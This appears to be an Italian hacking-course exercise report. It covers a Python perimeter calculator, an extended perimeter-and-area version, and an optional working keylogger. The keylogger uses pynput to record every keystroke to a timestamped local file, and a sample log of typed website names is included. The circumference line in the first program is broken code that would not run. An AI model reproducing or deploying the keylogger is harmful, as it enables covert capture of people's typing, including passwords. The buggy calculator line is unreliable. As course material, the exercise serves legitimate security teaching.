W6D4 - Programmazione per Hacker - Python pt1

Obiettivo dell'esercitazione

L'esercizio consiste nello sviluppo di un programma Python che calcoli il perimetro di diverse figure geometriche in base alla scelta dell'utente. Le figure disponibili sono:

1. Cerchio;
2. Rombo;
3. Triangolo equilatero.

Il programma presenta un menu testuale all'utente, che può selezionare una figura inserendo un numero corrispondente. A seconda della scelta, il programma richiede i dati necessari (es. raggio o lato) e restituisce il perimetro calcolato.

Implementazione del codice

Il programma utilizza una funzione perimetro() che gestisce l'interazione con l'utente e i calcoli matematici per le tre figure geometriche.

```python
def perimetro():
    print("Il seguente programma calcola il perimetro di una data figura geometrica")
    print("""
    - Cerchio >> 1
    - Rombo >> 2
    - Triangolo equilatero >> 3
    """)

    scelta = int(input("Inserire la scelta: >>> "))

    if scelta == 1:
        print("Hai selezionato la circonferenza del Cerchio")
        r = float(input('Inserisci il valore del raggio: '))
        print("La circonferenza del Cerchio di raggio", r, "è:", round(2 * r * 3,14, 2))

    elif scelta == 2:
        print("Hai selezionato il perimetro del Rombo")
        lato = float(input('Inserisci il valore del lato: '))
        print("Il perimetro del Rombo, avente lato", lato, "è:", 4 * lato)

    elif scelta == 3:
        print("Hai selezionato il perimetro del Triangolo equilatero")
        lato = float(input('Inserisci il valore del lato: '))
        print("Il perimetro del Triangolo equilatero, avente lato", lato, "è:", 3 * lato)

    else:
        print("Scelta non valida!")


#Chiamata alla funzione per avviare il programma
perimetro()
```

Esecuzione del programma

Illustra l'output del programma durante l'esecuzione. In questo caso, l'utente ha selezionato il rombo (opzione 2) e inserito un lato di 6, ottenendo come risultato un perimetro di 24.

```
┌──(kali㉿kali)-[~/Desktop]
└─$ nano calcola_perimetro.py

┌──(kali㉿kali)-[~/Desktop]
└─$ python calcola_perimetro.py
Il seguente programma calcola il perimetro di una data figura geometrica

    - Cerchio >> 1
    - Rombo >> 2
    - Triangolo equilatero >> 3

Inserire la scelta: >>> 2
Hai selezionato il perimetro del Rombo
Inserisci il valore del lato: 6
Il perimetro del Rombo, avente lato 6.0 è: 24.0
```

Esercizio Facoltativo (1 di 2)

L'esercizio facoltativo estende il programma principale introducendo nuove funzionalità avanzate:

1. Calcolo sia del perimetro che dell'area delle figure geometriche;
2. Riutilizzo automatico dell'area calcolata come valore iniziale per la figura successiva;
3. Gestione dinamica del menu: le figure già selezionate vengono rimosse dalle opzioni disponibili;
4. Riepilogo finale dei risultati.

Parte 1 del codice

```python
import math

def calcoli_cerchio(raggio, area=None):
    if area is None:
        area = math.pi * (raggio ** 2)
    perimetro = 2 * math.pi * raggio
    return perimetro, area

def calcolo_poligoni(figura, lato1=None, area=None):
    if figura == "Rombo":
        if lato1 is None:
            lato1 = float(input("Lunghezza del lato del rombo: "))
        perimetro = 4 * lato1
        if area is None:
            diagonale1 = float(input("Prima diagonale del rombo: "))
            diagonale2 = float(input("Seconda diagonale del rombo: "))
            area = (diagonale1 * diagonale2) / 2

    elif figura == "Triangolo equilatero":
        if lato1 is None:
            lato1 = float(input("Lunghezza del lato del triangolo: "))
        perimetro = 3 * lato1
        if area is None:
            area = (math.sqrt(3) / 4) * (lato1 ** 2)

    elif figura == "Cerchio":
        if lato1 is None:
            lato1 = float(input("Raggio del cerchio: "))
        perimetro, area = calcoli_cerchio(lato1, area)

    else:
        print("Figura non riconosciuta.")
        return None, None

    print(f"\nPerimetro del {figura}: {perimetro:.2f}")
    print(f"Area del {figura}: {area:.2f}")
    return perimetro, area

# Main
figure_disponibili = ["Cerchio", "Rombo", "Triangolo equilatero"]
storico_risultati = []

valore_iniziale = float(input("Valore iniziale (lato/raggio): "))
```

Parte 1 del codice: mostra le funzioni per il calcolo del cerchio, rombo e triangolo equilatero, con gestione condizionale dei parametri (input utente o riutilizzo dell'area precedente). Contiene anche l'inizio del main con l'input del valore iniziale.

```python
while figure_disponibili:
    print("\nScegli una figura:")
    for i, figura in enumerate(figure_disponibili):
        print(f"{i+1}. {figura}")

    try:
        selected = int(input("Numero della figura: "))
        if selected < 1 or selected > len(figure_disponibili):
            print("Opzione non valida!")
            continue
    except ValueError:
        print("Inserire un numero.")
        continue

    figura_scelta = figure_disponibili.pop(selected - 1)
    perimetro, area = calcolo_poligoni(figura_scelta, lato1=valore_iniziale)

    storico_risultati.append({
        "figura": figura_scelta,
        "perimetro": perimetro,
        "area": area
    })

    if area is not None:
        valore_iniziale = area

    carry_on = input("\nContinua? (s/n): ")
    if carry_on.lower() != "s":
        break

# Riepilogo
print("\nRISULTATI:")
print("Figura           Perimetro   Area")
print("---------------- ---------- ----------")
for risultato in storico_risultati:
    print(f"{risultato['figura']:<16} {risultato['perimetro']:>9.2f} {risultato['area']:>9.2f}")

if not figure_disponibili:
    print("\nFinito! Hai usato tutte le figure.")
```

Parte 2 del codice: implementa il loop principale del programma, con:

1. Menu dinamico che si aggiorna dopo ogni scelta;
2. Salvataggio dei risultati in un dizionario (storico_risultati);
3. Riepilogo finale.

Esecuzione del programma

```
Scegli una figura:
1. Cerchio
2. Rombo
3. Triangolo equilatero
Numero della figura: 2
Prima diagonale del rombo: 4
Seconda diagonale del rombo: 3

Perimetro del Rombo: 8.00
Area del Rombo: 6.00

Continua? (s/n): s

Scegli una figura:
1. Cerchio
2. Triangolo equilatero
Numero della figura: 1

Perimetro del Cerchio: 37.70
Area del Cerchio: 113.10

Continua? (s/n): s

Scegli una figura:
1. Triangolo equilatero
Numero della figura: 1

Perimetro del Triangolo equilatero: 339.29
Area del Triangolo equilatero: 5538.67

Continua? (s/n): s

RISULTATI:
Figura           Perimetro   Area
---------------- ---------- ----------
Rombo                 8.00       6.00
Cerchio              37.70     113.10
Triangolo equilatero    339.29    5538.67

Finito! Hai usato tutte le figure.
PS C:\Users\franc>
```

Esempio di esecuzione con:

1. Selezione del rombo;
2. Passaggio automatico all'area del cerchio;
3. Tabella riassuntiva finale con tutte le metriche calcolate.

Esercizio Facoltativo (2 di 2)

Questo esercizio consiste nello sviluppo di un keylogger in Python, un programma che registra i tasti premuti dall'utente e li salva in un file di log con timestamp. Il keylogger utilizza la libreria pynput per monitorare gli input della tastiera e registra sia tasti alfanumerici che tasti speciali.

Keylogger.py > on_press

```python
from pynput.keyboard import Listener
import datetime

LOG_FILE = "keylog.txt"

def on_press(key):
    try:
        with open(LOG_FILE, "a") as f:
            timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
            f.write(f"[{timestamp}] Tasto premuto: {key.char}\n")
    except AttributeError:
        with open(LOG_FILE, "a") as f:
            timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
            f.write(f"[{timestamp}] Tasto speciale: {key}\n")

def start_keylogger():
    print("[*] Keylogger avviato (CTRL+C per fermarlo)")
    with Listener(on_press=on_press) as listener:
        listener.join()

if __name__ == "__main__":
    start_keylogger()
```

keylog.txt

```
[2025-04-08 15:07:39] Tasto premuto: y
[2025-04-08 15:07:39] Tasto premuto: o
[2025-04-08 15:07:40] Tasto premuto: u
[2025-04-08 15:07:40] Tasto premuto: t
[2025-04-08 15:07:40] Tasto premuto: u
[2025-04-08 15:07:40] Tasto premuto: b
[2025-04-08 15:07:40] Tasto premuto: e
[2025-04-08 15:07:41] Tasto premuto: .
[2025-04-08 15:07:42] Tasto premuto: c
[2025-04-08 15:07:42] Tasto premuto: o
[2025-04-08 15:07:42] Tasto premuto: m
[2025-04-08 15:07:43] Tasto speciale: Key.enter
[2025-04-08 15:07:47] Tasto speciale: Key.backspace
[2025-04-08 15:07:48] Tasto premuto: g
[2025-04-08 15:07:48] Tasto premuto: o
[2025-04-08 15:07:48] Tasto premuto: o
[2025-04-08 15:07:49] Tasto premuto: g
[2025-04-08 15:07:49] Tasto premuto: l
[2025-04-08 15:07:49] Tasto premuto: e
[2025-04-08 15:07:49] Tasto premuto: .
[2025-04-08 15:07:50] Tasto premuto: c
[2025-04-08 15:07:50] Tasto premuto: o
[2025-04-08 15:07:50] Tasto premuto: m
```